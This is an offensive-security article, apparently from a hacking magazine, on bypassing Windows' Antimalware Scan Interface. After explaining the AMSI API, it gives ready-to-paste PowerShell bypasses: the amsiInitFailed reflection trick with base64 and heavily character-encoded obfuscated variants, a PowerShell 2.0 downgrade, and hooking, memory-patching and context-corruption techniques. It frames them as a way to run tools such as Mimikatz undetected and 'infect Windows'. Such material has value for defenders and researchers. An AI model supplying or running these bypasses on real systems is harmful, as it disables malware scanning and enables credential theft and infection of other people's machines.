F#ck AMSI! How to bypass Antimalware Scan Interface and infect Windows

Is the phrase “This script contains malicious content and has been blocked by your antivirus software” familiar to you? It’s generated by Antimalware Scan Interface (AMSI), a protection mechanism embedded in Windows 10 that blocks the execution of malicious scripts. But can AMSI be bypassed? Sure, and today I will show how to do this.

warning

This article is addressed to security specialists operating under a contract; all information provided in it is intended for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

Antimalware Scan Interface (AMSI) was developed by Microsoft to protect users from malware and introduced for the first time in Windows 10. AMSI intercepts PowerShell, JavaScript, VBScript, VBA, or .NET scripts and commands in real time and sends them to the antivirus software for scanning. This antivirus software may not necessarily be Microsoft Defender (to date, more then ten vendors support AMSI), but the examples discussed below involve Defender.

How it works

When a user launches a script or initializes a PowerShell (or PowerShell_ISE) process, the AMSI.DLL library is automatically loaded into this process. This library provides the API required for interaction with antivirus software. Prior to the execution, a script or command is sent to Microsoft Defender using a remote procedure call (RPC); Microsoft Defender, in turn, analyzes the received information and sends a response back to AMSI.DLL. If a known signature is detected, the execution is interrupted and a message stating that the script is blocked by the antivirus program is displayed.

AMSI operation scheme
AMSI operation scheme

As you can see, the above scheme includes two functions: AmsiScanString() and AmsiScanBuffer(); they play the main role in the chain AmsiInitialize, AmsiOpenSession, AmsiScanString, AmsiScanBuffer, and AmsiCloseSession. If you look at Exports for amsi.dll, you’ll see the following.

Exports of amsi.dll
Exports of amsi.dll

However, the most part of this list is of no interest to you today.

Let’s say, you run PowerShell. Before you can enter any commands, AMSI.DLL has to be loaded and AmsiInitialize() will be called.

HRESULT AmsiInitialize(
LPCWSTR appName,
HAMSICONTEXT *amsiContext
);

This function uses two arguments: the app name and a pointer to the CONTEXT structure. The amsiContext parameter will be used in each subsequent AMSI API call.

When you enter a command or try to execute a script, AmsiOpenSession() is called:

HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);

This function also passes two arguments: amsiContext obtained at the AmsiInitialize()step and a pointer to the SESSION structure. The amsiSession parameter will be used in each subsequent AMSI API call within this session.

Then above-mentioned AmsiScanString() and AmsiScanBuffer() come into play. Their names clearly indicate what parameters do these functions pass for verification, and their syntaxes are almost identical.

HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
HRESULT AmsiScanString(
HAMSICONTEXT amsiContext,
LPCWSTR string,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);

Defender checks the buffer or the string and returns the result. Code 32768 indicates that some malware was detected; 1 indicates that everything is fine.

Malware detected
Malware detected
Malware not detected
Malware not detected

Finally, after all these checks, the current session is closed using AmsiCloseSession.

How to bypass the check

AMSI uses rule-based threat detection. Knowing this, you can invent various circumvention tactics and techniques. Some well-known methods have already become obsolete and don’t work anymore, but you can use code modification, obfuscation, and encryption to achieve your goal.

info

To verify detection, I will use the following strings: AmsiUtils or Invoke-Mimikatz. Of course, these words are harmless, but they trigger detection after being caught by signatures. If AmsiUtils doesn’t trigger detection, then you can safely run, for instance, PowerView and use its capabilities to the full extent.

PowerShell downgrade

This bypass technique is trivial, but sometimes it works. Even though PowerShell 2.0 is outdated, Microsoft hasn’t removed it from the operating system yet. The old version of PowerShell does not have such protective mechanisms as AMSI, and sometimes it’s enough to use the command powershell -version 2 to circumvent detection.

PowerShell 2.0
PowerShell 2.0

amsiInitFailed

Another way to prevent scanning is to set the amsiInitFailed flag for the current process:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

However, this is not that simple: to execute this command, you have to find out a suitable obfuscation method because it triggers detection, too.

Alas, the executed command triggers detection
Alas, the executed command triggers detection

One of the possible obfuscation variants is as follows:

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
Obfuscated command for amsiInitFailed
Obfuscated command for amsiInitFailed

Obfuscation is a creative process that lets your imagination run free. For instance, this way:

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

Or that way:

$kurefii="$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).$(('Mànägem'+'ent').NORMALiZE([cHar](70+50-50)+[ChAr](111*34/34)+[cHAr](114*7/7)+[CHar](109*71/71)+[chaR]([BYtE]0x44)) -replace [cHaR]([BYte]0x5c)+[cHar]([Byte]0x70)+[chaR]([byTE]0x7b)+[chaR](77+22-22)+[cHAr]([BytE]0x6e)+[cHaR]([BYte]0x7d)).$([chAr](65+59-59)+[ChaR](104+13)+[CHAr]([bytE]0x74)+[chAR]([byte]0x6f)+[chAr](58+51)+[ChaR]([bYTe]0x61)+[CHar]([bYTe]0x74)+[cHAR](105)+[CHaR]([BYTE]0x6f)+[cHar]([ByTE]0x6e)).$([CHAR]([ByTE]0x41)+[char]([byTe]0x6d)+[CHAr]([bYtE]0x73)+[CHar]([byTe]0x69)+[chaR](85*6/6)+[CHaR](116)+[ChAR]([Byte]0x69)+[cHAr](108)+[chAr]([BYte]0x73))";[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d)))).FullName), $([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflection.FieldInfo]" -as [String].Assembly.GetType($([CHAR](83)+[char](121*78/78)+[ChAr]([ByTe]0x73)+[CHar](22+94)+[CHar](101*28/28)+[char]([BYtE]0x6d)+[CHAr](46)+[ChAr](84)+[cHAr]([ByTE]0x79)+[ChAr](90+22)+[Char](101+30-30)))), [Object]([Ref].Assembly.GetType($kurefii)),($(('Ge'+'tF'+'íe'+'ld').NOrMaliZE([char]([ByTE]0x46)+[cHAR](10+101)+[CHaR](114)+[cHAr](109*93/93)+[CHAr]([BYTe]0x44)) -replace [cHaR](92*52/52)+[CHar]([ByTE]0x70)+[CHAr]([byTe]0x7b)+[Char](38+39)+[cHaR](79+31)+[cHar](125*18/18)))).Invoke($([char](97*42/42)+[cHar](109*37/37)+[cHar]([bYte]0x73)+[Char](105+88-88)+[CHaR]([BYtE]0x49)+[ChAR](110)+[cHAR]([Byte]0x69)+[CHaR](116*14/14)+[cHar]([bYtE]0x46)+[Char](97)+[cHar]([bYTe]0x69)+[CHAR]([ByTE]0x6c)+[CHaR](101*33/33)+[char]([BYTE]0x64)),(("NonPublic,Static") -as [String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d))))).SetValue($null,$True);

For more code obfuscation ideas, see the amsi.fail resource.

Hooking

Function hooking is a method that enables you to take control of a function prior to calling it. In this particular case, it’s necessary to overwrite the arguments that will be passed for verification by the AmsiScanBuffer() (or AmsiScanString()) function.

The idea is simple: you inject a DLL that will catch AmsiScanBuffer() and pass something innocent for verification. You can use, for instance, AmsiHook.dll; the injector is available there as well.

AmsiHook.dll injected
AmsiHook.dll injected

Memory patching

Plenty of utilities support this technique, and you can select any one you like. The principle is the same: AmsiScanBuffer() is patched so that it always returns the “Scan passed successfully” value. Below are some of these tools:

Let’s use, for example, my-am-bypass.ps1 to perform memory patching.

My-am-bypass.ps1
My-am-bypass.ps1

Forcing an error

If you carefully review the AMSI operating principle, you’ll notice that all its functions contain the amsiContext structure. The main idea of this bypass technique is to force an error in this structure, thus, breaking the entire validation routine. The problem is that Microsoft doesn’t document this structure in any way (too bad, AMSI is poorly documented).

Let’s examine this technique using Frida (to find the address) and a debugger (to see what’s going on there).

Examining amsiContext
Examining amsiContext

I enter something and review Frida’s output

Frida
Frida’s output

Then I open the PowerShell process in the debugger and see what’s located at this address. I don’t know the size of this structure, but the first four bytes correspond to AMSI.

Examining the PowerShell process in the debugger
Examining the PowerShell process in the debugger

Further examination shows that the rcx register (containing the first argument of the function) is compared with the above four bytes; if these values are not equal, the execution is passed to amsi!AmsiOpenSession+0x4c.

As you can see, the function returns the content of the eax register; while the documentation states that the returned value type is HRESULT.

HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);

The required information can be found on the Microsoft website:

| E_INVALIDARG | One or more arguments are not valid | 0x80070057 |

If the first four bytes of the context structure don’t match AMSI, then AmsiOpenSession will return an error. The main question is: what are the consequences of this error and what happens if the bytes don’t match?

The only way to check this is to force an error and see what happens. To do so, set a breakpoint at AmsiOpenSession and then change the four bytes to the value 0000. I make sure that the value 49534d41 (dc rcx L1) is in the rcx register, change it to 0 (ed rcx 0), and then check whether the execution was successful and the rcx register now contains 00000000 (dc rcx L1 one more time).

Patching AmsiOpenSession
Patching AmsiOpenSession

I check frida-trace and see the much-desired AmsiScanBuffer() Exit. Has this error broken the AMSI validation routine? Let’s test the theory by doing something ‘malicious’.

Success!
Success!

The method involving a debugger was used just to explain the theory; of course, no one uses a debugger in real-life situations. In fact, all you have to do to implement this technique is enter a few commands in PowerShell.

Conclusions

The above examples demonstrate that it’s not a big deal to bypass the AMSI protection. Well-known techniques can significantly simplify the post-exploitation (or even exploitation) phase.

Of course, AMSI increases the protection of Windows 10 and Windows Server systems from compromise. But it’s not a panacea. Even though Microsoft Defender provides some protection against AMSI bypass, attackers continuously invent new ways to hide malicious content from detection.


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>